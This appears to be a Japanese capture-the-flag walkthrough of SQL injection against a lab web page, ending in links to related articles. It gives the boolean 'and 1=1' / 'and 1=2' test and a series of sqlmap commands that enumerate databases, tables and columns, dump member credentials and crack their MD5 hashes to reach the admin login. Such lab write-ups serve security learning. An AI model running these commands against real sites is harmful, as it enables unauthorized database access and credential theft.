sqlmap インジェクションの詳細なグラフィック説明

sqlmap インジェクションの詳細なグラフィック説明

1. この Web サイトには SQL インジェクションの脆弱性がある可能性があることが判明しました。脆弱性があるかどうかを確認するために、SQL ブラインド インジェクション テストを実行しました。

アドレスバーに「and 1=1」と入力すると、ページが正常に表示されることがわかります。

ここに画像の説明を挿入

もう一度、1=2 と入力します。ページにエラーが表示され、ページに SQL インジェクションの脆弱性がある可能性があることを示します。

ここに画像の説明を挿入

2. 次に、kali ツールの sqlmap を使用してインジェクション テストを実行します。

sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs

ここに画像の説明を挿入

3. インジェクション脆弱性があり、5 つのデータベースがスキャンされたことがわかります。管理者ユーザーのパスワードを取得するには、まず stormgroup から注入します。 stormgroupデータベースに存在するテーブルを表示する

sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables

ここに画像の説明を挿入

4. 次に、メンバーにどの列が存在するかを確認します。

sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T メンバー --columns

ここに画像の説明を挿入

5. 前の手順で、名前とパスワードが見覚えのあるものであることがわかります。さて、次にこれら 2 つの列のデータを取得します。

ここに画像の説明を挿入

ここに画像の説明を挿入

6. パスワードが md5 で暗号化されていることがわかります。次に、これを復号化します。ここでは私が収集したさまざまな復号化URLを推奨します。復号化URLの完全なリストについてはここをクリックしてください。

ここに画像の説明を挿入

7.さあ!パスワードは目の前にあります! ! ! !バックグラウンドアドレスを見つけてログインします。

ここに画像の説明を挿入

8.END ログインが成功し、フラグが取得され、送信されます。ゲームオーバー!

要約する

この記事はこれで終わりです。皆さんのお役に立てれば幸いです。また、123WORDPRESS.COM のその他のコンテンツにも注目していただければ幸いです。

以下もご興味があるかもしれません:
  • MyBatis の SqlMapConfig 構成ファイルの詳細な説明
  • Windows での Sqlmap 環境のインストールに関する詳細なチュートリアル
  • MyBatisはSqlMapperを使用してSQLを直接実行します
  • Mybatis での SqlMapper 構成の拡張と適用の詳細な紹介 (1)
  • XSD を使用して Mybatis SqlMapper 構成ファイルを検証する方法 (2)

<<:  Linux の操作とメンテナンスの基本的なスワップ パーティションと LVM 管理のチュートリアル

>>:  フレックスレイアウトは、1行あたりの固定行数と適応レイアウトを実現します。

推薦する

MySQL 8.0 バージョンで getTables がすべてのデータベース テーブルを返す問題の簡単な分析

序文この記事では、主にライブラリ内のすべてのテーブルを返すMysql8.0ドライバgetTables...

Web デザイン体験: 5 つの優れた Web デザイン コンセプトの完全分析 (画像)

他の種類のデザインとは異なり、Web デザインは時代の発展とともに常に変化しています。したがって、W...

vue-element-admin プロジェクトのインポートとエクスポートの実装

vue-element-admin インポートコンポーネントのカプセル化テンプレートとスタイルまず、...

独自のネイティブ JavaScript ルーターを作成する方法

目次序文導入JavaScript 履歴 API独自のネイティブJSルーティングを実装するHistor...

Vueはvueメタ情報を使用して各ページのタイトルとメタ情報を設定します。

title: vue は vue-meta-info を使用して各ページのタイトルとメタ情報を設定...

MySQL 入門 - SQL 実行プロセス

目次1. プロセス2. コアアーキテクチャ2.1 サーバー層の基本コンポーネントの紹介3. ステート...

非常に詳細な Vue-Router のステップバイステップのチュートリアル

目次1. ルータビュー2. ルータリンク3. リダイレクト4. ルーティングエイリアス5. ルーティ...

MySQL では UTF-8 が推奨されないのはなぜですか?

最近、Rails 経由で「utf8」でエンコードされた UTF-8 文字列を MariaDB に保存...

Linuxでkv設定ファイルを変更するにはsedコマンドを使用します

sed は Unix の文字ストリーム エディタ、つまりストリーム エディタです。行指向であり、行単...

静的ウェブサイトをRSSに変換するツール

<br /> この記事は allwebdesignresources.com から Ra...

js と jQuery での Ajax の使用例の詳細

目次ネイティブJS GETリクエストの送信方法投稿リクエストの送信方法パラメータ付きのGETリクエス...

シンプルなページカウントダウンを実現するJavaScript

この記事では、参考までに、シンプルなページカウントダウンを実装するためのJavaScriptの具体的...

Vue2.x - アンチシェイクとスロットリングの使用例

目次ユーティリティ: vue での使用:説明する:画像安定化:スロットル:ユーティリティ: // 手...

Vueでデータを読み取るためにこれを悪用しないでください

目次序文1. これを使用してデータ内のデータを読み取るプロセス2. Dep.target はいつ存在...

js配列forEachインスタンスの詳細な使用方法

1. forEach() は map() に似ています。これも渡された関数に各要素を順番に適用します...